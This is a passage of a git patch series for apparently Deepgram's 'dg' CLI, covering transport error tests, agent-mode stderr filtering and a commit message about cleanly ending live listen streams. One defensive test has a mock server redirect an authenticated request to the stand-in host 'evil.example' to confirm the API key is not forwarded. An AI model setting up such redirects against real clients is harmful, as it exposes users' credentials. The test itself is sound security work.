+    assert payload["hint"] == transport.STRINGS["A-AUTH-INVALID"].format(prog="dg")
+    assert payload["details"]["key_source"] == "--api-key"
+
+
+def test_auth_invalid_human(monkeypatch):
+    payload = _render(_401(), monkeypatch, agentic=False, hard=False)
+    assert payload["next_step"] == "dg login"
+    assert payload["hint"] == transport.STRINGS["H-AUTH-INVALID"].format(prog="dg")
+
+
+def test_key_source_follows_whoami_order(monkeypatch):
+    """A keyring key equal to the env value is the keyring's, as whoami says."""
+    from deepctl_core import auth as auth_module
+
+    monkeypatch.setattr(auth_module.keyring, "get_password", lambda *a: KEY)
+    payload = _render(_401(), monkeypatch, agentic=True, hard=True)
+    assert payload["details"]["key_source"] == "system keyring"
+    assert payload["next_step"] == "dg login"
+
+
+def test_invalid_argument_next_step_is_command_help(monkeypatch):
+    err = TransportError(
+        "invalid_argument",
+        {"http_status": 400, "api_message": "x"},
+        {"http_status": 400},
+    )
+    payload = _render(err, monkeypatch, agentic=True, hard=True, command_path="keys")
+    assert payload["next_step"] == "dg keys --help"
+    assert payload["hint"] == transport.STRINGS["A-INVALID-REQUEST"].format(
+        prog="dg", command_path="keys"
+    )
+
+
+@pytest.mark.parametrize(
+    "code",
+    [
+        "auth_forbidden",
+        "not_found",
+        "rate_limited",
+        "server_error",
+        "timeout",
+        "network_unavailable",
+    ],
+)
+def test_other_codes_have_null_next_step(code, monkeypatch):
+    values = {
+        "host": "h",
+        "reason": "r",
+        "timeout_s": 60,
+        "path": "/p",
+        "http_status": 500,
+    }
+    err = TransportError(code, values, {"http_status": 1})
+    payload = _render(err, monkeypatch, agentic=True, hard=True)
+    assert payload["next_step"] is None and payload["schema_version"] == 1
+
+
+def test_details_omitted_when_empty():
+    cls = transport.result_class()
+    payload = cls(error="e", code="c", hint="h").model_dump()
+    assert list(payload) == [
+        "error",
+        "status",
+        "code",
+        "hint",
+        "next_step",
+        "schema_version",
+    ]
+
+
+def test_prog_bare_name_only_when_which_matches(monkeypatch, tmp_path):
+    script = tmp_path / "bin" / "dg"
+    script.parent.mkdir()
+    script.write_text("#!/bin/sh\n")
+    script.chmod(0o755)
+    monkeypatch.setattr(sys, "argv", [str(script)])
+    monkeypatch.setenv("PATH", str(script.parent))
+    assert _REAL_PROG() == "dg"
+    monkeypatch.setenv("PATH", "/nonexistent")
+    assert _REAL_PROG() == str(script)
+    monkeypatch.setattr(sys, "argv", ["/x/__main__.py"])
+    assert _REAL_PROG() is None
+
+
+# ── Through BaseCommand: stdout payload, two stderr lines, exit 1 ─────
+
+
+class _Models(BaseCommand):
+    name = "models"
+    help = "List models"
+    requires_auth = True
+
+    def handle(self, config, auth_manager, client, **kwargs):
+        from deepctl_core.output import get_status_console
+
+        get_status_console().print("[blue]Fetching models...[/blue]")
+        try:
+            client.list_models()
+        except Exception as e:  # what every command does today
+            get_status_console().print(f"[red]Error:[/red] {e}")
+            return BaseResult(status="error", message=str(e))
+        return BaseResult(status="success")
+
+
+def _run(
+    monkeypatch,
+    handler,
+    *,
+    agentic,
+    hard,
+    fmt="json",
+    config_path="none.yaml",
+    name="models",
+):
+    facade(handler)
+    monkeypatch.setitem(output._output_config, "agentic", agentic)
+    monkeypatch.setitem(output._output_config, "format", fmt)
+    monkeypatch.setattr(output, "is_ai_agent", lambda: hard)
+    cmd = type("_Cmd", (_Models,), {"name": name})()
+
+    @click.command(name)
+    @click.pass_context
+    def models(ctx):
+        cmd.execute(ctx)
+
+    @click.group("dg")
+    @click.pass_context
+    def root(ctx):
+        ctx.obj = {"config": Config(config_path=str(Path.cwd() / config_path))}
+
+    root.add_command(models)
+    return CliRunner().invoke(root, [name])
+
+
+def _split(result):
+    return result.stdout, result.stderr
+
+
+def test_mode_a_two_stderr_lines_and_coded_stdout(monkeypatch):
+    monkeypatch.delenv("DEEPGRAM_API_KEY")
+    Path("user").mkdir()
+    Path("user/config.yaml").write_text(
+        yaml.safe_dump({"profiles": {"default": {"api_key": KEY}}})
+    )
+    Path("user/config.yaml").chmod(0o600)
+    result = _run(
+        monkeypatch,
+        status(401),
+        agentic=True,
+        hard=True,
+        config_path="user/config.yaml",
+    )
+    stdout, stderr = _split(result)
+    assert result.exit_code == 1
+    payload = json.loads(stdout)
+    assert payload["code"] == "auth_invalid"
+    assert payload["next_step"] == "dg login"
+    assert payload["details"] == {"http_status": 401, "key_source": "config file"}
+    assert stderr.splitlines()[-2:] == [
+        "ERROR: Deepgram rejected the API key (HTTP 401).",
+        "HINT: " + transport.STRINGS["A-AUTH-INVALID"].format(prog="dg"),
+    ]
+    assert KEY not in stdout + stderr
+
+
+def test_human_mode_renders_cross_and_hint(monkeypatch):
+    result = _run(monkeypatch, status(403), agentic=False, hard=False, fmt="default")
+    stdout, stderr = _split(result)
+    assert result.exit_code == 1
+    assert stdout == ""
+    lines = [line for line in stderr.splitlines() if line.strip()]
+    assert lines[-2:] == [
+        "✗ This API key isn't allowed to make this request (HTTP 403).",
+        "  " + transport.STRINGS["H-AUTH-FORBIDDEN"].format(prog="dg"),
+    ]
+
+
+def test_failure_after_stdout_payload_keeps_json_off_stdout(monkeypatch):
+    """Once a command has written payload bytes to stdout (speak audio), a
+    failure goes to stderr only."""
+
+    class _Audio(_Models):
+        def handle(self, config, auth_manager, client, **kwargs):
+            import sys
+
+            self.stdout_is_protocol = True
+            sys.stdout.write("AUDIOBYTES")
+            client.list_models()
+
+    monkeypatch.setattr(sys.modules[__name__], "_Models", _Audio)
+    result = _run(monkeypatch, status(200, b"cut"), agentic=True, hard=True)
+    assert result.exit_code == 1
+    assert result.stdout == "AUDIOBYTES"
+    assert result.stderr.splitlines()[-2].startswith("ERROR: Got a response from")
+
+
+def test_unmapped_failure_keeps_legacy_handling(monkeypatch):
+    """Errors that aren't request failures still go through the command's
+    own handler, prefixed lines intact."""
+
+    def boom(request):
+        raise ValueError("not a transport problem")
+
+    result = _run(monkeypatch, boom, agentic=True, hard=False)
+    assert result.exit_code == 1
+    assert "Error:" in result.stderr
+    assert json.loads(result.stdout)["status"] == "error"
+
+
+# ── One connection, no pre-flight: a real loopback server ─────────────
+
+
+class _Fake(BaseHTTPRequestHandler):
+    protocol_version = "HTTP/1.1"
+    log: ClassVar[list[tuple[str, str, int]]] = []
+
+    def do_GET(self):
+        _Fake.log.append(
+            (self.command, self.path.split("?")[0], self.client_address[1])
+        )
+        body = json.dumps({"api_keys": [], "projects": [], "models": []}).encode()
+        self.send_response(200)
+        self.send_header("Content-Type", "application/json")
+        self.send_header("Content-Length", str(len(body)))
+        self.end_headers()
+        self.wfile.write(body)
+
+    def log_message(self, *args):
+        pass
+
+
+@pytest.fixture
+def fake_server():
+    _Fake.log = []
+    server = ThreadingHTTPServer(("127.0.0.1", 0), _Fake)
+    thread = threading.Thread(target=server.serve_forever, daemon=True)
+    thread.start()
+    yield f"http://127.0.0.1:{server.server_address[1]}"
+    server.shutdown()
+    server.server_close()
+
+
+def test_one_request_one_connection_no_preflight(fake_server, monkeypatch):
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", fake_server)
+    monkeypatch.setenv("DEEPGRAM_PROJECT_ID", "p1")
+    config = Config(config_path=str(Path.cwd() / "none.yaml"))
+    auth = AuthManager(config)
+    auth.guard()
+    client = DeepgramClient(config, auth)
+    client.list_keys()
+    client.list_models()
+    paths = [p for _, p, _ in _Fake.log]
+    assert paths == ["/v1/projects/p1/keys", "/v1/models"]
+    assert "/v1/projects" not in paths
+    assert len({port for *_, port in _Fake.log}) == 1
+
+
+def test_shared_client_keeps_no_cookies():
+    seen: list[httpx.Request] = []
+
+    def handler(request):
+        seen.append(request)
+        return httpx.Response(
+            200, json={"models": []}, headers={"Set-Cookie": "sid=abc; Path=/"}
+        )
+
+    client, _ = facade(handler)
+    client.list_models()
+    client.list_models()
+    assert "cookie" not in seen[1].headers
+    assert not list(transport._client.cookies.jar)
+
+
+def test_shared_client_settings():
+    client = transport.shared_client()
+    assert client.follow_redirects is False
+    assert client.timeout.read == transport.DEFAULT_TIMEOUT_S
+    assert "Authorization" not in client.headers
+    assert str(client.base_url) == ""
+
+
+def test_redirect_to_another_origin_is_not_followed():
+    """The shared client follows no redirect, so neither the key nor a
+    request body can reach another origin."""
+    seen: list[httpx.Request] = []
+
+    def handler(request):
+        seen.append(request)
+        if request.url.host == "api.deepgram.com":
+            return httpx.Response(
+                302, headers={"Location": "https://evil.example/v1/models"}
+            )
+        return httpx.Response(200, json={"models": []})
+
+    client, _ = facade(handler)
+    with pytest.raises(RedirectRefused):
+        client.list_models()
+    assert [r.url.host for r in seen] == ["api.deepgram.com"]
+    assert seen[0].headers["Authorization"] == f"Token {KEY}"
+
+
+def test_shared_client_is_lazy_and_single():
+    code = (
+        "import sys, deepctl_core.transport as t\n"
+        "print('httpx' in sys.modules, 'ssl' in sys.modules)\n"
+        "assert t.shared_client() is t.shared_client()\n"
+    )
+    out = subprocess.run(
+        [sys.executable, "-c", code], capture_output=True, text=True, check=True
+    )
+    assert out.stdout.strip() == "False False"

From b0e0780b1204c09144c8531db94f004ba069725f Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 11:30:01 -0400
Subject: [PATCH 14/88] fix(output): drop status chrome from stderr in agent
 mode

In mode A every stderr line carries a prefix and
status chrome is suppressed. The commands that use the shared client
(billing, keys, listen, members, models, projects, read, requests,
speak, transcribe, usage) now run their handler with stderr filtered:
only ERROR:/WARN:/INFO:/HINT:/OK:/DEPRECATED: lines, and 0.4.0
"Error"/"Warning" lines, get through. Each write is kept or dropped as a
whole. --verbose keeps everything, and every other command (login's
device code, dg api, debug-probe) is unchanged.

Lines in those commands that a caller needs now render as warnings or
errors instead of chrome, so they survive the filter: listen's Flux
--diarize note, its --encoding assumption and the microphone audio
warning; speak's --play note; projects' "Failed to ..." errors and the
missing project_id warning.

The listen and speak warnings print under --quiet too (print_warning
gains ignore_quiet), since --quiet hides only INFO and OK lines.
---
 .../src/deepctl_cmd_listen/command.py         | 24 +++--
 .../tests/unit/test_listen_command.py         | 55 ++++++++++--
 .../src/deepctl_cmd_projects/command.py       | 20 +++--
 .../tests/unit/test_projects_command.py       | 22 +++++
 .../src/deepctl_cmd_speak/command.py          |  9 +-
 .../src/deepctl_core/base_command.py          | 90 ++++++++++++++++++-
 .../deepctl-core/src/deepctl_core/output.py   | 13 ++-
 .../deepctl-core/tests/unit/test_transport.py | 33 ++++++-
 8 files changed, 235 insertions(+), 31 deletions(-)

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index fac2995c..41ff9f12 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -28,9 +28,10 @@
     Config,
     DeepgramClient,
 )
-from deepctl_core.output import _agentic
+from deepctl_core.output import _agentic, print_warning
 from deepctl_core.websocket import connect_async
 from rich.console import Console
+from rich.markup import escape
 from rich.prompt import Confirm, Prompt
 from rich.table import Table
 
@@ -402,9 +403,10 @@ def handle(
         # from an explicit flag, so they stay silent; --interim still gates
         # client-side display.)
         if api_version >= 2 and diarize:
-            status.print(
-                "[yellow]Note:[/yellow] --diarize is not supported by Flux STT "
-                "(listen v2) models; ignoring it."
+            print_warning(
+                "Flux models don't support --diarize, so it was ignored.",
+                stderr=True,
+                ignore_quiet=True,
             )
             diarize = False
         save_to = kwargs.get("save_to")
@@ -888,7 +890,11 @@ async def send_audio() -> None:
 
                 def callback(indata: Any, frames: int, t: Any, s: Any) -> None:
                     if s:
-                        status.print(f"[yellow]Audio warning: {s}[/yellow]")
+                        print_warning(
+                            f"Audio warning: {escape(str(s))}",
+                            stderr=True,
+                            ignore_quiet=True,
+                        )
                     loop.call_soon_threadsafe(q.put_nowait, bytes(indata))
 
                 stream = sd.RawInputStream(
@@ -972,9 +978,11 @@ def _stream_stdin(
     ) -> BaseResult:
         resolved_encoding = encoding or "linear16"
         if not encoding:
-            status.print(
-                "[dim]No --encoding specified — assuming linear16. "
-                "Pass --encoding to suppress this warning.[/dim]"
+            print_warning(
+                "No --encoding specified — assuming linear16. "
+                "Pass --encoding to suppress this warning.",
+                stderr=True,
+                ignore_quiet=True,
             )
 
         caption_writer: StreamingCaptionWriter | None = None
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
index 6b92fe2d..c0fecbfb 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_command.py
@@ -229,12 +229,14 @@ def test_handle_stdin_routes_to_stream_stdin(
             assert call_kwargs["encoding"] == "linear16"
             assert result.source == "stdin"
 
+    @patch("deepctl_cmd_listen.command.print_warning")
     @patch("deepctl_cmd_listen.command.status")
     @patch("deepctl_cmd_listen.command.sys")
     def test_handle_warns_diarize_ignored_on_flux(
         self,
         mock_sys,
         mock_status,
+        mock_warning,
         command,
         mock_config,
         mock_auth_manager,
@@ -261,20 +263,57 @@ async def fake_ws_mic(_client, **kwargs):
                 diarize=True,
             )
 
-        printed = " ".join(
-            str(c.args[0]) for c in mock_status.print.call_args_list if c.args
-        )
-        assert "not supported by Flux STT" in printed
+        # The note is a warning (WARN: in agent mode), not status chrome.
+        calls = mock_status.print.call_args_list + mock_warning.call_args_list
+        printed = " ".join(str(c.args[0]) for c in calls if c.args)
+        assert "Flux models don't support --diarize" in printed
         assert "Speaker labels enabled" not in printed
         assert mock_ws.call_args.kwargs["diarize"] is False
         assert result.diarized is False
 
+    @patch("deepctl_cmd_listen.command.status")
+    @patch("deepctl_cmd_listen.command.sys")
+    def test_diarize_warning_prints_under_quiet(
+        self,
+        mock_sys,
+        mock_status,
+        command,
+        mock_config,
+        mock_auth_manager,
+        mock_client,
+        monkeypatch,
+        capsys,
+    ):
+        """`dg -q listen ... --diarize`: --quiet hides INFO/OK lines, not this
+        WARN."""
+        from deepctl_core import output
+
+        monkeypatch.setitem(output._output_config, "quiet", True)
+        monkeypatch.setitem(output._output_config, "agentic", True)
+        mock_sys.stdin.isatty.return_value = True
+
+        async def fake_ws_mic(_client, **kwargs):
+            return ListenResult(status="success", source="mic", mode="live")
+
+        with patch.object(command, "_ws_mic", side_effect=fake_ws_mic):
+            command.handle(
+                config=mock_config,
+                auth_manager=mock_auth_manager,
+                client=mock_client,
+                mic=True,
+                model="flux-general-en",
+                diarize=True,
+            )
+        assert "WARN: Flux models don't support --diarize, so it was ignored." in capsys.readouterr().err
+
+    @patch("deepctl_cmd_listen.command.print_warning")
     @patch("deepctl_cmd_listen.command.status")
     @patch("deepctl_cmd_listen.command.sys")
     def test_handle_no_diarize_warning_on_v1(
         self,
         mock_sys,
         mock_status,
+        mock_warning,
         command,
         mock_config,
         mock_auth_manager,
@@ -294,10 +333,10 @@ def test_handle_no_diarize_warning_on_v1(
                 diarize=True,
             )
 
-        printed = " ".join(
-            str(c.args[0]) for c in mock_status.print.call_args_list if c.args
-        )
-        assert "not supported by Flux STT" not in printed
+        # The note is a warning (WARN: in agent mode), not status chrome.
+        calls = mock_status.print.call_args_list + mock_warning.call_args_list
+        printed = " ".join(str(c.args[0]) for c in calls if c.args)
+        assert "don't support --diarize" not in printed
 
     @pytest.mark.parametrize("source", ["call.wav", "https://example.com/call.wav"])
     def test_click_flux_prerecorded_source_errors(self, source, command, mock_config):
diff --git a/packages/deepctl-cmd-projects/src/deepctl_cmd_projects/command.py b/packages/deepctl-cmd-projects/src/deepctl_cmd_projects/command.py
index b34b149c..cd2a6896 100644
--- a/packages/deepctl-cmd-projects/src/deepctl_cmd_projects/command.py
+++ b/packages/deepctl-cmd-projects/src/deepctl_cmd_projects/command.py
@@ -11,8 +11,10 @@
     get_output_format,
     get_status_console,
 )
+from deepctl_core.output import print_error, print_warning
 from deepctl_core.transport import TransportError
 from rich.console import Console
+from rich.markup import escape
 
 from .models import ProjectInfo, ProjectsResult
 
@@ -184,13 +186,15 @@ def _list_projects(self, client: DeepgramClient) -> ProjectsResult | BaseResult:
             )
 
         except Exception as e:
-            status_console.print(f"[red]Failed to list projects:[/red] {e}")
+            print_error(f"Failed to list projects: {escape(str(e))}")
             return BaseResult(status="error", message=str(e))
 
     def _create_project(
         self, client: DeepgramClient, name: str, company: str | None
     ) -> ProjectsResult | BaseResult:
         """Create a new project."""
+        from deepctl_core.transport import prog
+
         status_console.print(f"[blue]Creating project:[/blue] {name}")
 
         if company:
@@ -221,8 +225,12 @@ def _create_project(
                     count=1,
                 )
             else:
-                status_console.print(
-                    "[yellow]Project creation response missing project_id[/yellow]"
+                print_warning(
+                    escape(
+                        "Deepgram created the project but didn't return its "
+                        f"ID. Run {prog() or 'dg'} projects --list to find it."
+                    ),
+                    stderr=True,
                 )
                 return ProjectsResult(
                     status="warning",
@@ -232,7 +240,7 @@ def _create_project(
                 )
 
         except Exception as e:
-            status_console.print(f"[red]Failed to create project:[/red] {e}")
+            print_error(f"Failed to create project: {escape(str(e))}")
             return BaseResult(status="error", message=str(e))
 
     def _show_project(
@@ -287,7 +295,7 @@ def _show_project(
                 )
 
         except Exception as e:
-            status_console.print(f"[red]Failed to get project details:[/red] {e}")
+            print_error(f"Failed to get project details: {escape(str(e))}")
             return BaseResult(status="error", message=str(e))
 
     def _show_current_project(
@@ -349,7 +357,7 @@ def _set_default_project(
             )
 
         except Exception as e:
-            status_console.print(f"[red]Failed to set default project:[/red] {e}")
+            print_error(f"Failed to set default project: {escape(str(e))}")
             from deepctl_core.output import print_error_hint
 
             print_error_hint(e)
diff --git a/packages/deepctl-cmd-projects/tests/unit/test_projects_command.py b/packages/deepctl-cmd-projects/tests/unit/test_projects_command.py
index 67b86260..7041e02f 100644
--- a/packages/deepctl-cmd-projects/tests/unit/test_projects_command.py
+++ b/packages/deepctl-cmd-projects/tests/unit/test_projects_command.py
@@ -106,3 +106,25 @@ def test_other_failures_stop(self):
 
         with pytest.raises(TransportError):
             self._run("server_error")
+
+
+def test_create_without_an_id_says_how_to_find_it(monkeypatch):
+    monkeypatch.setattr("deepctl_core.transport.prog", lambda: "dg")
+    warnings: list[str] = []
+    monkeypatch.setattr(
+        "deepctl_cmd_projects.command.print_warning",
+        lambda text, **kwargs: warnings.append(text),
+    )
+    client = Mock(spec=DeepgramClient)
+    client.create_project.return_value = {"name": "Acme"}
+    result = ProjectsCommand().handle(
+        config=Mock(spec=Config),
+        auth_manager=Mock(spec=AuthManager),
+        client=client,
+        create="Acme",
+    )
+    assert result.status == "warning"
+    assert warnings == [
+        "Deepgram created the project but didn't return its ID. Run dg projects "
+        "--list to find it."
+    ]
diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
index df76e6b7..3602cb62 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
@@ -24,6 +24,7 @@
     get_output_format,
     get_status_console,
 )
+from deepctl_core.output import print_warning
 from rich.console import Console
 from rich.markup import escape
 from rich.table import Table
@@ -600,9 +601,11 @@ def handle(
             # Playing sends the audio to the player, not to stdout, so a
             # redirect or pipe would otherwise collect nothing and give no
             # hint why.
-            console.print(
-                "[yellow]Note:[/yellow] --play sends the audio to your player, "
-                "so stdout stays empty. Add -o to save a file too."
+            print_warning(
+                "--play sends the audio to your player, so stdout stays empty. "
+                "Add -o to save a file too.",
+                stderr=True,
+                ignore_quiet=True,
             )
 
         if is_flux:
diff --git a/packages/deepctl-core/src/deepctl_core/base_command.py b/packages/deepctl-core/src/deepctl_core/base_command.py
index 182a198d..1b930b31 100644
--- a/packages/deepctl-core/src/deepctl_core/base_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_command.py
@@ -1,7 +1,8 @@
 """Base command class for deepctl commands."""
 
+import sys
 from abc import ABC, abstractmethod
-from typing import Any, ClassVar
+from typing import Any, ClassVar, TextIO
 
 import click
 
@@ -12,6 +13,7 @@
 from .models import CodedErrorResult, ErrorResult
 from .output import (
     _agentic,
+    _output_config,
     print_error,
     print_error_hint,
     print_hint,
@@ -28,6 +30,69 @@
 console = stdout_console
 
 
+# Mode A stderr grammar: every line starts with one of
+# these. Lines that start with "Error"/"Warning" are 0.4.0 error text a
+# command printed itself, kept until a later release codes them.
+_MODE_A_PREFIXES = (
+    "ERROR: ",
+    "WARN: ",
+    "INFO: ",
+    "HINT: ",
+    "OK: ",
+    "DEPRECATED: ",
+    "Error",
+    "Warning",
+)
+
+# Built-in commands whose requests go through DeepgramClient and the shared
+# Transport. In mode A their handlers run without status chrome on
+# stderr. Other commands print things the caller needs there (login's device
+# code, dg api's response errors, debug-probe's proxy address), so they keep
+# it. Built-in names can't be taken by plugins.
+_CHROME_FREE_COMMANDS = frozenset(
+    {
+        "billing",
+        "keys",
+        "listen",
+        "members",
+        "models",
+        "projects",
+        "read",
+        "requests",
+        "speak",
+        "transcribe",
+        "usage",
+    }
+)
+
+
+class _ModeAStderr:
+    """``sys.stderr`` for a command's handler in mode A: drops status chrome.
+
+    Each write that starts a line is kept or dropped as a whole, so one
+    ``print`` that wraps over several lines stays together.
+    """
+
+    def __init__(self, stream: TextIO) -> None:
+        self._stream = stream
+        self._keep = True
+        self._line_start = True
+
+    def write(self, text: str) -> int:
+        if not text:
+            return 0
+        if self._line_start:
+            first = text.lstrip("\n").split("\n", 1)[0]
+            self._keep = bool(first.strip()) and first.startswith(_MODE_A_PREFIXES)
+        if self._keep:
+            self._stream.write(text)
+        self._line_start = text.endswith("\n")
+        return len(text)
+
+    def __getattr__(self, name: str) -> Any:
+        return getattr(self._stream, name)
+
+
 class UnexpectedCommandError(click.ClickException):
     """A command failed with an error it didn't raise on purpose.
 
@@ -196,7 +261,7 @@ def execute(self, ctx: click.Context, **kwargs: Any) -> None:
             # Execute the command
             try:
                 with TimingContext(f"command_{self.name}_handler"):
-                    result = self.handle(config, auth_manager, client, **kwargs)
+                    result = self._run_handler(config, auth_manager, client, **kwargs)
 
                 # Handle command result
                 if result is not None:
@@ -245,6 +310,27 @@ def execute(self, ctx: click.Context, **kwargs: Any) -> None:
             if exit_code:
                 raise SystemExit(exit_code)
 
+    def _run_handler(
+        self,
+        config: Config,
+        auth_manager: AuthManager,
+        client: DeepgramClient,
+        **kwargs: Any,
+    ) -> Any:
+        """Run ``handle``; in mode A, without status chrome on stderr."""
+        if (
+            not _output_config["agentic"]
+            or _output_config["verbose"]
+            or self.name not in _CHROME_FREE_COMMANDS
+        ):
+            return self.handle(config, auth_manager, client, **kwargs)
+        real = sys.stderr
+        sys.stderr = _ModeAStderr(real)
+        try:
+            return self.handle(config, auth_manager, client, **kwargs)
+        finally:
+            sys.stderr = real
+
     def _report_transport_error(
         self,
         error: TransportError,
diff --git a/packages/deepctl-core/src/deepctl_core/output.py b/packages/deepctl-core/src/deepctl_core/output.py
index f05d231a..b7270631 100644
--- a/packages/deepctl-core/src/deepctl_core/output.py
+++ b/packages/deepctl-core/src/deepctl_core/output.py
@@ -502,9 +502,16 @@ def print_error_hint(error: BaseException) -> None:
         print_hint(str(hint))
 
 
-def print_warning(message: str, *, stderr: bool = False) -> None:
-    """Print a warning; ``stderr=True`` keeps it off stdout outside agentic mode too."""
-    if not _output_config["quiet"]:
+def print_warning(
+    message: str, *, stderr: bool = False, ignore_quiet: bool = False
+) -> None:
+    """Print a warning; ``stderr=True`` keeps it off stdout outside agentic mode too.
+
+    ``ignore_quiet=True`` prints it under ``--quiet`` as well, for warnings
+    the caller needs to read the result (``--quiet`` hides only
+    INFO and OK lines).
+    """
+    if ignore_quiet or not _output_config["quiet"]:
         if _output_config["agentic"]:
             stderr_console.print(f"WARN: {message}", soft_wrap=True)
         else:
diff --git a/packages/deepctl-core/tests/unit/test_transport.py b/packages/deepctl-core/tests/unit/test_transport.py
index b5ec530a..3b980e6c 100644
--- a/packages/deepctl-core/tests/unit/test_transport.py
+++ b/packages/deepctl-core/tests/unit/test_transport.py
@@ -574,7 +574,7 @@ def test_mode_a_two_stderr_lines_and_coded_stdout(monkeypatch):
     assert payload["code"] == "auth_invalid"
     assert payload["next_step"] == "dg login"
     assert payload["details"] == {"http_status": 401, "key_source": "config file"}
-    assert stderr.splitlines()[-2:] == [
+    assert stderr.splitlines() == [
         "ERROR: Deepgram rejected the API key (HTTP 401).",
         "HINT: " + transport.STRINGS["A-AUTH-INVALID"].format(prog="dg"),
     ]
@@ -593,6 +593,29 @@ def test_human_mode_renders_cross_and_hint(monkeypatch):
     ]
 
 
+def test_success_in_mode_a_drops_chrome_only(monkeypatch):
+    result = _run(monkeypatch, status(200, {"models": []}), agentic=True, hard=False)
+    stdout, stderr = _split(result)
+    assert result.exit_code == 0
+    assert "Fetching models" not in stderr
+    assert json.loads(stdout)["status"] == "success"
+
+
+def test_other_commands_keep_chrome_in_mode_a(monkeypatch):
+    """Only commands that go through the Transport drop chrome: login's
+    device code, dg api's errors and the like stay on stderr."""
+    result = _run(
+        monkeypatch, status(200, {"models": []}), agentic=True, hard=True, name="login"
+    )
+    assert "Fetching models" in result.stderr
+
+
+def test_verbose_keeps_chrome(monkeypatch):
+    monkeypatch.setitem(output._output_config, "verbose", True)
+    result = _run(monkeypatch, status(200, {"models": []}), agentic=True, hard=False)
+    assert "Fetching models" in result.stderr
+
+
 def test_failure_after_stdout_payload_keeps_json_off_stdout(monkeypatch):
     """Once a command has written payload bytes to stdout (speak audio), a
     failure goes to stderr only."""
@@ -727,3 +750,11 @@ def test_shared_client_is_lazy_and_single():
         [sys.executable, "-c", code], capture_output=True, text=True, check=True
     )
     assert out.stdout.strip() == "False False"
+
+
+@pytest.mark.parametrize("ignore_quiet", [False, True])
+def test_print_warning_ignore_quiet(ignore_quiet, monkeypatch, capsys):
+    monkeypatch.setitem(output._output_config, "quiet", True)
+    monkeypatch.setitem(output._output_config, "agentic", True)
+    output.print_warning("needed", stderr=True, ignore_quiet=ignore_quiet)
+    assert ("WARN: needed" in capsys.readouterr().err) is ignore_quiet

From c58d7b591b6d8b4ba6f28f4f050853c6f238008d Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 12:30:11 -0400
Subject: [PATCH 15/88] fix(listen): finish live streams cleanly on Ctrl-C and
 end of input

Live stdin and microphone streams run through one session engine
(deepctl_cmd_listen.live) with defined endings:

- Ctrl-C (Ctrl-Break on Windows): send CloseStream, keep receiving for
  at most 1 s, keep the finals and --save-to, exit 2. On --mic, Ctrl-C
  is how the session ends: the same drain, then exit 0 with the
  transcript so far, also when it comes before the session has
  connected. Ctrl-Break stays a hard stop (exit 2) on --mic. A second
  Ctrl-C exits at once. The handler is signal.signal, not
  add_signal_handler, so it works on every platform and on Python 3.10.
- SIGTERM on POSIX (docker stop, systemd, Kubernetes): the same drain,
  then the process re-raises SIGTERM with the default action, so the
  wait status stays "killed by signal 15" (143 in a shell). A second
  signal ends it at once.
- End of input: send CloseStream and wait for the server's close under
  an idle deadline (10 s since the last server message) and an absolute
  cap (max(30 s, 2 x the audio still behind for PCM/mulaw/alaw, or
  2 x the time spent sending otherwise)). If either expires the run ends
  with stream_drain_timeout, exit 1. Ctrl-C during the drain switches to
  the 1 s cap and exit 2.
- A signal that arrives while the server is closing still counts: the
  run ends as stopped by that signal.
- The server closes: exit 0, or exit 1 with server_error when it
  reported an error.
- The connection drops: exit 1 with network_unavailable.
- Whoever reads stdout goes away (`| head -n 1`, `| true`): the stream
  ends quietly and exits 0. Captions are flushed line by line, so they
  also arrive as they are produced.
- stdin can't be read (a write-only or broken descriptor, EIO on a
  hang-up): exit 1 with invalid_argument and a hint to pass a file or
  URL instead.

Each failure is a coded error whose details carry the finals received
so far (transcript, transcript_chars, saved_to), so nothing that
arrived is lost. Text the server sends back (close reasons, Flux error
descriptions) is stripped of control characters and of the API key and
any Token/Bearer value before it is shown or saved.

Stdin is read with os.read in a daemon thread that hands each buffer to
the loop through run_coroutine_threadsafe and waits for it to be taken.
The thread checks a closing event before every read and hand-off,
shutdown sets that event before it cancels any task, and anything raised
in the thread ends it quietly. This removes the interpreter abort (exit
134, "Fatal Python error") that a reader blocked in sys.stdin.buffer
caused at shutdown. The reader blocks SIGINT and SIGTERM so they always
reach the main thread, and waits on a stdin left non-blocking by its
parent instead of failing. Regular files, pipes, /dev/null and TTYs all
work.

At interpreter exit the remaining objects are frozen out of the garbage
collector, so the process ends a few milliseconds after the server's
close instead of about 100 ms later.

The session opens through deepctl_core.websocket.open_async, the same
no-redirect open as connect_async but returning the connection and
taking websockets options, so a 3xx on the upgrade is still refused
before a second connection (mic and stdin), as in 0.4.1. deepctl-core
now declares websockets>=13.1,<18, which that module imports.
---
 .../src/deepctl_cmd_listen/captions.py        |  26 +-
 .../src/deepctl_cmd_listen/command.py         | 634 ++++++++------
 .../src/deepctl_cmd_listen/live.py            | 673 +++++++++++++++
 .../src/deepctl_cmd_listen/messages.py        |  72 ++
 .../src/deepctl_cmd_listen/models.py          |  19 +-
 .../tests/unit/test_listen_command.py         | 320 ++++---
 .../tests/unit/test_live.py                   | 780 ++++++++++++++++++
 .../tests/unit/test_live_command.py           | 241 ++++++
 .../tests/unit/test_live_exit.py              | 152 ++++
 packages/deepctl-core/pyproject.toml          |   1 +
 .../src/deepctl_core/websocket.py             |  93 ++-
 tests/e2e/conftest.py                         |  14 +-
 uv.lock                                       |   3 +
 13 files changed, 2560 insertions(+), 468 deletions(-)
 create mode 100644 packages/deepctl-cmd-listen/src/deepctl_cmd_listen/live.py
